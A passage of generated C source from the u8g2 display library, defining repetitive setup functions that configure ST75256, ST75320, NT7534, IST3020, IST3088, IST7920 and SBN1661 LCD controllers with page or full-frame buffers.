u8g2_Setup_st75256_i2c_jlx256160_alt_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256160_alt, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_20_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 2 */ void u8g2_Setup_st75256_i2c_jlx256160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256160, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_20_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st75256_i2c_jlx256160m_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256160m, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_20_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st75256_i2c_jlx256160_alt_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256160_alt, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_20_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 f */ void u8g2_Setup_st75256_i2c_jlx256160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256160, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_20_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st75256_i2c_jlx256160m_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256160m, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_20_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st75256_i2c_jlx256160_alt_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256160_alt, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_20_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 */ /* st75256 1 */ void u8g2_Setup_st75256_jlx240160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx240160, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_20_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 2 */ void u8g2_Setup_st75256_jlx240160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx240160, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_20_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 f */ void u8g2_Setup_st75256_jlx240160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx240160, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_20_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 */ /* st75256 1 */ void u8g2_Setup_st75256_i2c_jlx240160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx240160, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_20_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 2 */ void u8g2_Setup_st75256_i2c_jlx240160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx240160, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_20_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 f */ void u8g2_Setup_st75256_i2c_jlx240160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx240160, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_20_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 */ /* st75256 1 */ void u8g2_Setup_st75256_jlx25664_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx25664, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 2 */ void u8g2_Setup_st75256_jlx25664_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx25664, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 f */ void u8g2_Setup_st75256_jlx25664_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx25664, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 */ /* st75256 1 */ void u8g2_Setup_st75256_i2c_jlx25664_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx25664, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 2 */ void u8g2_Setup_st75256_i2c_jlx25664_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx25664, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 f */ void u8g2_Setup_st75256_i2c_jlx25664_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx25664, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 */ /* st75256 1 */ void u8g2_Setup_st75256_jlx172104_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx172104, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_22_13_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 2 */ void u8g2_Setup_st75256_jlx172104_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx172104, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_22_13_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 f */ void u8g2_Setup_st75256_jlx172104_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx172104, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_22_13_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 */ /* st75256 1 */ void u8g2_Setup_st75256_i2c_jlx172104_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx172104, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_22_13_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 2 */ void u8g2_Setup_st75256_i2c_jlx172104_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx172104, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_22_13_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 f */ void u8g2_Setup_st75256_i2c_jlx172104_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx172104, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_22_13_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 */ /* st75256 1 */ void u8g2_Setup_st75256_jlx19296_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx19296, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_12_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 2 */ void u8g2_Setup_st75256_jlx19296_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx19296, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_12_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 f */ void u8g2_Setup_st75256_jlx19296_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx19296, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_12_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 */ /* st75256 1 */ void u8g2_Setup_st75256_i2c_jlx19296_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx19296, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_12_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 2 */ void u8g2_Setup_st75256_i2c_jlx19296_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx19296, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_12_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 f */ void u8g2_Setup_st75256_i2c_jlx19296_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx19296, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_12_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 */ /* st75256 1 */ void u8g2_Setup_st75256_jlx16080_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx16080, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_10_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 2 */ void u8g2_Setup_st75256_jlx16080_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx16080, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_10_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 f */ void u8g2_Setup_st75256_jlx16080_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx16080, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_10_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 */ /* st75256 1 */ void u8g2_Setup_st75256_i2c_jlx16080_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx16080, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_10_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 2 */ void u8g2_Setup_st75256_i2c_jlx16080_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx16080, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_10_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 f */ void u8g2_Setup_st75256_i2c_jlx16080_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx16080, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_10_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75320 */ /* st75320 1 */ void u8g2_Setup_st75320_jlx320240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75320_jlx320240, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_40_30_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75320 2 */ void u8g2_Setup_st75320_jlx320240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75320_jlx320240, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_40_30_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75320 f */ void u8g2_Setup_st75320_jlx320240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75320_jlx320240, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_40_30_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75320 */ /* st75320 1 */ void u8g2_Setup_st75320_i2c_jlx320240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75320_jlx320240, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_40_30_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75320 2 */ void u8g2_Setup_st75320_i2c_jlx320240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75320_jlx320240, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_40_30_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75320 f */ void u8g2_Setup_st75320_i2c_jlx320240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75320_jlx320240, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_40_30_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* nt7534 */ /* nt7534 1 */ void u8g2_Setup_nt7534_tg12864r_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_nt7534_tg12864r, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* nt7534 2 */ void u8g2_Setup_nt7534_tg12864r_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_nt7534_tg12864r, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* nt7534 f */ void u8g2_Setup_nt7534_tg12864r_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_nt7534_tg12864r, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ist3020 */ /* ist3020 1 */ void u8g2_Setup_ist3020_erc19264_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ist3020_erc19264, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ist3020 2 */ void u8g2_Setup_ist3020_erc19264_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ist3020_erc19264, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ist3020 f */ void u8g2_Setup_ist3020_erc19264_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ist3020_erc19264, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ist3088 */ /* ist3088 1 */ void u8g2_Setup_ist3088_320x240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ist3088_320x240, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_40_30_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* ist3088 2 */ void u8g2_Setup_ist3088_320x240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ist3088_320x240, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_40_30_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* ist3088 f */ void u8g2_Setup_ist3088_320x240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ist3088_320x240, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_40_30_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* ist7920 */ /* ist7920 1 */ void u8g2_Setup_ist7920_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ist7920_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ist7920 2 */ void u8g2_Setup_ist7920_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ist7920_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ist7920 f */ void u8g2_Setup_ist7920_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ist7920_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sbn1661 */ /* sbn1661 1 */ void u8g2_Setup_sbn1661_122x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; 